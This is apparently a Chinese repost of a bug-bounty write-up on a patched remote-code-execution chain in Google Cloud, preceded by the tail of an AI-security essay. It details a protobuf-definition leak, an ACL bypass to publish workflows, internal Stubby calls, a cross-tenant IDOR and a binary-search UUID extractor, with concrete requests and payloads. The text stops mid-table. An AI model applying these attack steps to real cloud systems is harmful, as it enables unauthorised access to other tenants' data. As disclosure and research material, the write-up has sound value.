第五部分——结语：拥抱神话，以AI对抗AI
|
||||
|
||||
|
||||
Mythos的出现，将一场“猫鼠游戏”变成了一场“神魔大战”。
|
||||
|
||||
|
||||
它给我们指明了未来唯一的出路：用AI对抗AI。未来的防御体系必须全面升级，传统的基于规则的“特征库”模式正在加速失效，取而代之的将是基于大模型深度代码理解的智能分析。在这场席卷全球的“核竞赛”中，胜负的天平，将更多地偏向于谁先让AI成为自己坚硬的盾，而不是仅仅担心它何时会成为刺向自己的矛。
|
||||
|
||||
|
||||
面对如此跨越式升级的能力，网络安全从业者们，该如何应对呢？
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,349 @@
|
||||
# StubZero：Google Cloud生产环境RCE漏洞，奖金148,337美元
|
||||
A译
|
||||
A译 黑白之道 2026-05-24 23:55
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650617500&idx=1&sn=73c0634d23ef9a5a7ca009cf0e3b1929&scene=21#wechat_redirect)
|
||||
> **导语**
|
||||
：一个调试端点的信息泄露，最终演变为Google Cloud生产环境的完整远程代码执行攻击链。三天后，类似漏洞再次出现。这位研究员用两次报告、累计148,337美元的奖金，证明了Stubby RPC调用链在Google安全模型中的核心地位——以及一旦被攻破意味着什么。
|
||||
|
||||
|
||||
|
||||
## 一、起点：一个调试端点的信息泄露
|
||||
|
||||
故事的起因，是研究员的一个自动化模糊测试工具对 API 端点 cloudcrmipfrontend-pa.googleapis.com
|
||||
发出了警报——该 API 对若干可疑端点返回了 200 状态码。深入检查后发现，这个 API 存在多个公开的调试端点。
|
||||
|
||||
进一步探测发现，/v1/integrationPlatform:getProtoDefinition
|
||||
这个端点可以返回 Google 内部源代码仓库 google3 中任意 protobuf 消息的定义——甚至包括 YouTube 这类完全不相关的服务。
|
||||
|
||||
**请求示例**
|
||||
：
|
||||
```
|
||||
GET /v1/integrationPlatform:getProtoDefinition?fullName=youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext&isEnum=false HTTP/2Host: cloudcrmipfrontend-pa.clients6.google.comCookie: <已脱敏>Authorization: SAPISIDHASH <已脱敏>Origin: https://console.cloud.google.comX-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
|
||||
```
|
||||
|
||||
**返回结果**
|
||||
（部分）：
|
||||
```
|
||||
{ "protoDescriptor":{ "name":"InnerTubeContext", "field":[ { "name":"client", "number":1, "label":"LABEL_OPTIONAL", "type":"TYPE_MESSAGE", "typeName":".youtube.api.pfiinnertube.YoutubeApiInnertube.ClientInfo", "jsonName":"client" }, ... ]}}
|
||||
```
|
||||
|
||||
这意味着：在Google这个黑盒目标上，几乎所有 API 的请求体/响应体结构都可以被枚举出来。这是一个巨大的信息泄露。
|
||||
## 二、"req2proto即服务"的诞生
|
||||
|
||||
研究员之前曾开发过一个工具 req2proto，用于从请求体反推 protobuf 定义。但这个工具有局限性：只能找到请求体的 proto，无法获取响应体，且依赖 API 支持 JSPB（application/json+protobuf），而大多数 API 并不支持。
|
||||
|
||||
现在，这个端点就是"req2proto即服务"（req2proto as a Service™）——一个托管版的 req2proto，功能强大得多。
|
||||
## 三、泄露内部工作流执行队列
|
||||
|
||||
在没有查询参数的情况下，该端点只返回 INVALID_ARGUMENT 错误。根据以往经验，这类 filter 参数通常支持 AIP-160 规定的任意过滤语法。
|
||||
|
||||
尝试 client_id>"123"
|
||||
作为 filter：
|
||||
```
|
||||
{ "error": { "code": 500, "message": "Failed to convert server response to JSON", "status": "INTERNAL" }}
|
||||
```
|
||||
|
||||
看起来后端给的响应没有 JSON 映射。Google API 支持通过标准参数 ?alt=
|
||||
更改响应格式，?alt=proto
|
||||
会返回 protobuf 格式的原始输出。
|
||||
|
||||
由于使用的是 Google 自有的第一方认证（Cookie + Authorization header），请求必须发往 cloudcrmipfrontend-pa.clients6.google.com
|
||||
而非 cloudcrmipfrontend-pa.googleapis.com
|
||||
，但 Google 不允许 raw proto 响应发往 *.google.com：
|
||||
```
|
||||
Request unsafe for browser client domain: cloudcrmipfrontend-pa.clients6.google.com
|
||||
```
|
||||
|
||||
解决方法是使用请求头 X-Goog-Encode-Response-If-Executable: base64
|
||||
，将响应转为 base64 编码。
|
||||
|
||||
通过 proto 定义泄露拿到的 schema，成功解码了返回的 protobuf，发现这是某种内部工作流执行队列，包含从 Spanner 同步数据到 Salesforce 的工作流：
|
||||
```
|
||||
{ "queue_items":[ { "queued_request":{ "queued_request_id":"75a885e2-c611-43f7-b4e2-ae0d87bae789", "client_id":"default", "workflow_name":"WriteToSfdc", "priority":"CRITICAL", "received_timestamp":1763057385562, "event_execution_info_id":"615cd9a9-9c0e-46ec-90df-91ee42ec9c37" }, ... "type_url":"type.googleapis.com/enterprise.crm.datalayer.WriteToSfdcRequest", "sfdc_object":{ "vector_account":{ "id":"001Kf00000wjeK3IAI", "due_diligence__c":"Pending", ... } } }]}
|
||||
```
|
||||
|
||||
就在报告提交后几小时，该漏洞被标记为 **P0/S0**
|
||||
，并获得 🎉 Nice catch!。
|
||||
## 四、Stubby RPC与Google安全模型
|
||||
|
||||
在深入分析前，需要理解 Google 的 RPC 基础设施。根据 Google SRE手册：
|
||||
> Google 所有服务都使用名为 Stubby 的远程过程调用（RPC）基础设施进行通信；开源版本 gRPC 已对外发布。
|
||||
|
||||
|
||||
Google 的安全模型中，每个 borglet 服务都有独立的身份。当你向 *.googleapis.com 端点发送请求时，前端服务使用自己的 prod 服务身份向后端服务发起 Stubby 调用，同时在安全票据中携带你的最终用户上下文。如果票据包含你的 Gaia 用户ID，后端服务会以该用户身份对请求进行授权。
|
||||
|
||||
**关键安全机制**
|
||||
：
|
||||
```
|
||||
Without authentication (anonymous)com.google.apps.framework.auth.IamPermissionDeniedException: IAM authority does not have the permission 'cloudprivatecatalog.targets.get' required for action PrivateCatalogV1Beta1-SearchProducts on resource ''. ... Security Context: ... user = anonymous creds = EndUserCreds ... peer = protocol = loas level = strong_privacy_and_integrity host = jxcbu6.prod.google.com role = cloud-commerce-catalog
|
||||
```
|
||||
|
||||
**含第一方认证时（Gaia用户）**
|
||||
：
|
||||
```
|
||||
With first-party authentication (Gaia user) ... Security Context: ... user = gaiauser/0xaa22527678 creds = EndUserCreds ... gaiaId = 640201889743 security_realm = campus-dls
|
||||
```
|
||||
|
||||
注意 peer
|
||||
块显示的是 prod 服务身份进行的内部 Stubby 调用。区别在于最终用户上下文：第一个票据是 ANONYMOUS，第二个携带 GAIA_MINT 凭证（当你使用 cookie 或 bearer 认证时，会被转换为标准 UberMint token）。
|
||||
|
||||
如果攻击者能以集成平台的 prod 服务身份执行任意 Stubby 查询，就可以访问大量 RPC——从敏感用户数据到代码执行，取决于 prod 用户的权限范围。因此，Google 将此类漏洞视为远程代码执行。
|
||||
|
||||
**Stubby访问控制机制**
|
||||
：
|
||||
|
||||
Google 每个 Stubby 服务都定义了 RpcSecurityPolicy
|
||||
，包含按方法的允许列表。例如 Cloud SQL Speckle Boss 进程的策略：
|
||||
```
|
||||
mapping { rpc_method:"/SaasActuation.UpdateInstance" rpc_method:"/MaintenancePolicyService.CreateMaintenancePolicy" ... authentication_policy { creds_policy { rules { permissions:"auth.creds.useProdUserEUC" action: ALLOW in:"mdb:zamm-exe-3-cloud-sql--default-policy" in:"user:[email protected]" } rules { permissions:"auth.creds.useLOAS" action: ALLOW in:"allUsers" } }} authorization_mode: MANUAL_IAM permission_to_check:"cloudsql.instances.rollout"}
|
||||
```
|
||||
- auth.creds.useLOAS
|
||||
表示"任何 borglet 都可以用自己的 LOAS 身份调用"
|
||||
|
||||
- auth.creds.useProdUserEUC
|
||||
表示"只有特定的 MDB 组才能将 Gaia 最终用户身份转发到调用中"
|
||||
|
||||
即便拿到了 Stubby 调用的原始能力，也不意味着能调用所有 RPC——只有那些 RpcSecurityPolicy 允许你的对等身份的 RPC 才能被访问。
|
||||
## 五、从信息泄露到RCE的完整攻击链
|
||||
### 5.1 创建工作流
|
||||
|
||||
首次尝试创建工作流时收到 INVALID_ARGUMENT 错误：
|
||||
```
|
||||
{ "error": { "code": 400, "message": "Request contains an invalid argument.", "status": "INVALID_ARGUMENT" }}
|
||||
```
|
||||
|
||||
推测是缺少必要参数，可能是 clientId
|
||||
。之前从 quota queue 泄露的响应中有 "client_id": "default"
|
||||
，于是尝试：
|
||||
```
|
||||
{ "workflow":{ "name":"my-new-workflow-test", "origin":"UI", "clientId":"default", "triggerConfigs":[], "taskConfigs":[]},"isNewWorkflow":true}
|
||||
```
|
||||
|
||||
**成功**
|
||||
！返回了工作流ID。但要运行工作流，必须先发布它，而发布时遇到了权限限制：
|
||||
```
|
||||
{ "error": { "code": 403, "message": "Publisher [email protected] cannot be the same as the last editor...", "status": "PERMISSION_DENIED" }}
|
||||
```
|
||||
|
||||
需要另一个用户来发布。由于无法通过 ACL 端点添加其他账号，一度陷入僵局。
|
||||
### 5.2 Discord上的转机
|
||||
|
||||
一个多月后，研究员在 Discord 群聊中半开玩笑地提到自己找到了一个 Google 内部泄露 protobuf 定义的漏洞。
|
||||
|
||||
这时，一位名为 **shrugged**
|
||||
的研究员回复说他们也在研究同一个 API，并且注意到了 GenericStubbyTypedTask
|
||||
这个潜在 RCE 向量，但苦于没有有效的 client_id
|
||||
来创建初始工作流草案。
|
||||
|
||||
而研究员这边有 client_id: "default"
|
||||
，却在发布步骤卡住了。双方交换了各自的信息后，攻击链被迅速拼完。
|
||||
### 5.3 绕过修复：寻找对应的"替身"端点
|
||||
|
||||
Google 已经根据初次报告部署了修复，所以很多原始端点都返回 PERMISSION_DENIED。但研究员注意到：很多端点在不同的服务名下存在 1:1 的"替身"：
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">原始端点（已修复）</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">替身端点</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">/v1/integrationPlatform:getProtoDefinition</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">/v1/integrationPlatform/workflowsupport:getProtoDefinition</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">/v1/integrationPlatform:runWorkflow</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">/v1/integrationPlatform/workflowexecution:runWorkflow</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">/v1/integrationPlatform:setAcl</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">/v1/integrationPlatform/auth:setAcl</span></section></td></tr></tbody></table>
|
||||
但 createDraftWorkflow
|
||||
找不到替身，仍然返回 PERMISSION_DENIED。
|
||||
|
||||
奇怪的是，shrugged 用同样的请求却能成功。答案揭晓：**修复没有完全同步到所有负载均衡的后端**
|
||||
。通过反复发送同一请求，可以可靠地路由到仍然允许该操作的后端。
|
||||
### 5.4 GenericStubbyTypedTaskV2的发现
|
||||
|
||||
GenericStubbyTypedTask
|
||||
这个任务名称实际上并不存在。从 /v1/integrationPlatform:listTaskEntities
|
||||
返回的数据中只看到 IO_TEMPLATE
|
||||
类型的任务。
|
||||
|
||||
从 Application Integration 的 JS 代码中，找到了确切的任务名称：GenericStubbyTypedTaskV2
|
||||
，甚至配有独立的图标：
|
||||
```
|
||||
["GenericStubbyTypedTaskV2","http://gstatic.com/enterprise/crm/eventbus/images/icons/blue/stubby_48px_blue.svg"],
|
||||
```
|
||||
|
||||
尝试配置 GenericStubbyTypedTask
|
||||
时收到错误，显示缺少必需字段 serverSpec
|
||||
：
|
||||
```
|
||||
{ "error": { "code": 400, "message": "'Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'", "status": "INVALID_ARGUMENT" }}
|
||||
```
|
||||
|
||||
逐一尝试后，确认了三个必需参数：serverSpec
|
||||
、serviceName
|
||||
和 serviceMethod
|
||||
。参考 Ezequiel Pereira 的 protobuf 仓库，配合从另一个 discovery document 中泄露的 GSLB 地址，配置任务调用 gslb:alkali-base
|
||||
上的 /ServerStatus.GetServices
|
||||
：
|
||||
```
|
||||
{"workflow": {"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19", "name": "retest-test123", "taskConfigs": [{"taskName": "GenericStubbyTypedTaskV2", "taskNumber": "1", "parameters": {"response": {"key": "response", "value": {"stringValue": "$response$"}, "dataType": "STRING_VALUE"}, "serverSpec": {"key": "serverSpec", "value": {"stringValue": "gslb:alkali-base"}, "dataType": "STRING_VALUE"}, "serviceName": {"key": "serviceName", "value": {"stringValue": "ServerStatus"}, "dataType": "STRING_VALUE"}, "serviceMethod": {"key": "serviceMethod", "value": {"stringValue": "GetServices"}, "dataType": "STRING_VALUE"}}, ...}], ...}
|
||||
```
|
||||
|
||||
**成功**
|
||||
！返回了 Alkali 内部框架的服务列表：
|
||||
```
|
||||
{ "protoValue":{ "@type":"type.googleapis.com/rpc.ServiceList", "service":[ { "name":"AlkaliBaseAccountService", "descriptor":{ "filename":"google/internal/alkali/base/v1/alkali_base_account_service.proto", "method":[ { "name":"ListAccounts", "argumentType":"google.internal.alkali.base.v1.ListAccountsRequest", "resultType":"google.internal.alkali.base.v1.ListAccountsResponse", ... } ] } } ]}}
|
||||
```
|
||||
### 5.5 绕过发布权限检查
|
||||
|
||||
之前 ACL 问题导致无法发布。shrugged 发现可以通过更新 IP_EVENTBUS_WORKFLOWS 的 ACL，使用两个攻击者控制的 Google 账户的混淆 Gaia ID 来绕过：
|
||||
```
|
||||
{ "resourceInfo":{ "resource":"IP_EVENTBUS_WORKFLOWS", "id":"retest-test123"},"acl":{ "entries":[ {"scope":{"obfuscatedGaiaId":"100029910836469267942"},"role":105}, {"scope":{"obfuscatedGaiaId":"113728935872649341310"},"role":105} ]}}
|
||||
```
|
||||
|
||||
第一步，使用第一个攻击者 Google 账户切换发布请求状态：
|
||||
```
|
||||
POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}
|
||||
```
|
||||
|
||||
第二步，使用第二个攻击者账户最终发布工作流：
|
||||
```
|
||||
POST /v1/integrationPlatform/workflowdeployment:publishWorkflow{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}
|
||||
```
|
||||
|
||||
**RCE 攻击链完成**
|
||||
。
|
||||
### 5.6 时间线（第一次RCE）
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">日期</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2025-12-01</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">初次报告发送给 Google</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2025-12-01</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Google 将报告标记为 P0/S0</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2025-12-01</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">🎉 Nice catch!</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-01-12</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">向 Google 安全团队告知 RCE 升级</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-01-12</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">附带 RCE PoC 更新报告</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-01-12</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Google 提升报告级别</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-01-16</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">评审团颁发 </span><strong><span leaf="">$60,000</span></strong><span leaf="">。理由：报告质量卓越，漏洞类别为"Google Cloud 生产环境渗透"，属于无受害者交互的漏洞，默认 Google Cloud 产品</span></section></td></tr></tbody></table>## 六、三个月后：第二次RCE
|
||||
|
||||
你以为故事结束了？没那么简单。三个月后，自动化模糊测试工具再次发来警报——这次是公开的 Application Integration 产品 API 中存在多个 IDOR（不安全直接对象引用）。
|
||||
### 6.1 跨租户IDOR漏洞
|
||||
|
||||
整个 API 中，可以用自己项目 ID 作为 URL，但引用其他人的 UUID：
|
||||
```
|
||||
GET /v1/projects/<your-project>/locations/us-central1/integrations/anythinghere/versions/<victim-uuid>Host: integrations.googleapis.comAuthorization: Bearer <redacted>
|
||||
```
|
||||
|
||||
API 会愉快地返回受害者的资源，因为认证检查是对项目 ID 做的（你对自己的项目有权限），但没有检查该 ID 是否实际绑定到你的项目。
|
||||
|
||||
但这个漏洞本身影响有限，因为使用的是 UUIDv4，搜索空间达到 10^36 量级，无法有效暴力枚举。需要找到一种方法泄露受害者的资源 UUID。
|
||||
### 6.2 测试用例功能的跨项目泄露
|
||||
|
||||
研究员发现了一个"测试用例"功能。当你查看测试用例在浏览器中的加载方式时，浏览器发送的请求类似：
|
||||
```
|
||||
POST /$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCasesHost: us-central1-integrations.clients6.google.comContent-Type: application/x-protobuf
|
||||
```
|
||||
|
||||
解码后的请求 payload：
|
||||
```
|
||||
{ "1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4", "2": "workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4", "6": {"1": ["name", "display_name", "update_time", "client_id"]}}
|
||||
```
|
||||
|
||||
字段1是父资源（我的项目，我的版本 UUID），字段6是响应字段掩码，字段2是某种 filter。如果省略字段2和6呢？返回了来自**所有其他 GCP 项目**
|
||||
的测试用例！
|
||||
```
|
||||
{ "testCases":[ { "name":"projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3", "displayName":"test", "triggerId":"api_trigger/AI_bebbia_CreateWOSubs_API_1", "creatorEmail":"[email protected]", ... }]}
|
||||
```
|
||||
|
||||
注意，每个结果的 versions/...
|
||||
段都是同一个 UUID：631a0566-02fc-4dce-b319-25e2c68168f4
|
||||
——这是研究员自己的版本 UUID。API 只是把它原样反射回每个测试用例的 name 中，即使这些测试用例属于完全不同的项目和集成。
|
||||
|
||||
虽然现在有了所有 GCP 项目中的每个测试用例 ID，连同集成名称和创建者邮箱，但实际需要的受害者版本 UUID 并不在响应中。
|
||||
### 6.3 二进制搜索提取UUID
|
||||
|
||||
但测试用例 ID 本身已经足够造成真实影响了。Application Integration 暴露了一个 :executeTest
|
||||
端点，可以通过测试用例 ID 执行任意测试用例，而**不需要受害者的真实版本 UUID**
|
||||
。
|
||||
```
|
||||
POST /v1/projects/<your-project>/locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTestHost: integrations.googleapis.comAuthorization: Bearer <redacted>Content-Length: 0
|
||||
```
|
||||
|
||||
真正的目标是利用 IDOR 访问受害者的完整集成，需要真实的版本 UUID。
|
||||
|
||||
灵光一现：filter 参数（字段2）支持比较运算符如 =
|
||||
。如果也支持 >
|
||||
和 <=
|
||||
呢？可以锚定一个已知的测试用例 ID，然后对 workflow_id
|
||||
字段逐个十六进制字符进行二进制搜索，直到重建完整 UUID：
|
||||
```
|
||||
id = "<known-tc-uuid>" AND workflow_id > "<low>" AND workflow_id <= "<high>"
|
||||
```
|
||||
|
||||
用 Claude 写了一个 PoC，一次成功：
|
||||
```
|
||||
$ python extract_by_id.py --token "<redacted>" --project 273897706296 --location "us-central1" --tc-id "60413427-4d07-4c36-bce0-66cfcdd81879"Test case: 60413427-4d07-4c36-bce0-66cfcdd81879Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-Verified: target found. Starting binary search... [ 4/32] fb1d0000-0000-0000-0000-000000000000 (16 reqs) [ 8/32] fb1dc5f3-0000-0000-0000-000000000000 (32 reqs) [12/32] fb1dc5f3-0380-0000-0000-000000000000 (48 reqs) [16/32] fb1dc5f3-0380-491c-0000-000000000000 (64 reqs) [20/32] fb1dc5f3-0380-491c-af90-000000000000 (80 reqs) [24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96 reqs) [28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112 reqs) [32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128 reqs)workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56Total requests: 128
|
||||
```
|
||||
|
||||
现在拿到了受害者的实际集成版本 UUID。将它链接到 GetIntegrationVersion
|
||||
IDOR：
|
||||
```
|
||||
GET /v1/projects/<your-project>/locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56Host: integrations.googleapis.comAuthorization: Bearer <redacted>
|
||||
```
|
||||
|
||||
返回了属于不同项目的完整集成，包括每个触发器配置、任务配置、参数绑定和创建者邮箱：
|
||||
```
|
||||
{ "name":"projects/<your-project>/locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56","state":"DRAFT","triggerConfigs":[ { "label":"API Trigger", "triggerType":"API", "triggerId":"api_trigger/TestCasePOC5_API_1" }],"taskConfigs":[ { "task":"GenericRestV2Task", "displayName":"Call REST Endpoint", "parameters":{ "url":{"key":"url","value":{"stringValue":"$url$"}}, "httpMethod":{"key":"httpMethod","value":{"stringValue":"POST"}}, "authConfigName":{"key":"authConfigName","value":{"stringValue":"authprofiletest"}} } }],"integrationParameters":[ {"key":"url","dataType":"STRING_VALUE","defaultValue":{"stringValue":"https://example.com"}}],"lastModifierEmail":"[email protected]","createTime":"2026-03-22T11:10:30.087Z"}
|
||||
```
|
||||
|
||||
从之前测试用例泄露的数据中，大量 creatorEmail
|
||||
字段以 @google.com
|
||||
结尾。这意味着很多 Google 内部团队也在这个平台上运行自己的集成。如果其中一些内部集成已经配置了 GenericStubbyTypedTaskV2
|
||||
（或其他内部专用任务如 PythonTask、CreateBuganizerIssueTask 等），这条跨租户攻击链的影响将变得更加严重。
|
||||
### 6.4 配置内部任务类型
|
||||
|
||||
研究员尝试创建一个包含内部任务类型的集成：
|
||||
```
|
||||
POST /v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versionsHost: integrations.googleapis.comAuthorization: Bearer <redacted>
|
||||
```
|
||||
```
|
||||
{ "taskConfigsInternal":[ { "taskNumber":"1", "taskName":"PythonTask", ... "taskEntity":{ "uiConfig":{ "taskUiModuleConfigs":[ { "moduleId":"RPC_TYPED" } ] } }, "taskType":"ASIS_TEMPLATE", ... }], ...}
|
||||
```
|
||||
|
||||
**创建居然成功了**
|
||||
。但执行工作流时超时：
|
||||
```
|
||||
Execution timeout, cancelled graph execution. The default timeout is 2min for sync execution...
|
||||
```
|
||||
|
||||
但有趣的是，配置 PythonTask 后，创建测试用例并执行测试用例时，收到了一个可疑的错误：
|
||||
```
|
||||
{ "1": 9, "2": "java.io.IOException: No space left on device"}
|
||||
```
|
||||
|
||||
这是来自执行后端的真实异常，不是超时。测试用例功能运行的代码路径足够深入，可以因实际的磁盘 I/O 失败而崩溃。用 GenericStubbyTypedTaskV2
|
||||
做同样的尝试，得到了同样可疑但不太有用的响应：
|
||||
```
|
||||
Failed to execute test case. Error: Unknown Error.
|
||||
```
|
||||
|
||||
检查工作流执行日志时，真正的错误浮出水面：
|
||||
```
|
||||
{ "message": "com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w", "code": 500}
|
||||
```
|
||||
|
||||
这非常可疑。通过以下方式可以拉取完整的堆栈跟踪：
|
||||
```
|
||||
GET /v1/projects/<project>/locations/us-west1/integrations/ExampleTest1234:1/executions/id:downloadHost: integrations.googleapis.com
|
||||
```
|
||||
|
||||
堆栈跟踪清楚地表明，变量被直接插入到后端的 ExecuteStubbyCallRequest
|
||||
中。根据堆栈跟踪推测，后端代码大致如下：
|
||||
```
|
||||
GenericStubbyTypedTaskV2.buildRequest(): line 219: setServerAddress(serverSpec) → ExecuteStubbyCallRequest.java:1123 line 220: setServiceName(serviceName) → ExecuteStubbyCallRequest.java:1219 line 221: setMethodName(serviceMethod) → ExecuteStubbyCallRequest.java:1313 ...
|
||||
```
|
||||
### 6.5 时间线（第二次RCE）
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">日期</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-03-21</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">初次报告发送给 Google</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-03-23</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">Google 将报告标记为 P1/S1</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-03-23</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">向 Google 安全团队告知 RCE 升级</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-03-23</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">🎉 Nice catch!，报告更新为 P0/S0</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-04-28</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">评审团颁发 </span><strong><span leaf="">$75,000</span></strong><span leaf="">。理由：漏洞类别为"Google Cloud 生产环境渗透"，无受害者交互的漏洞，默认 Google Cloud 产品</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-05-06</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">告知 Google 的 GetIntegrationVersion RPC 仍然存在漏洞</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2026-05-08</span></section></td><td style="font-size: 0.75em;padding: 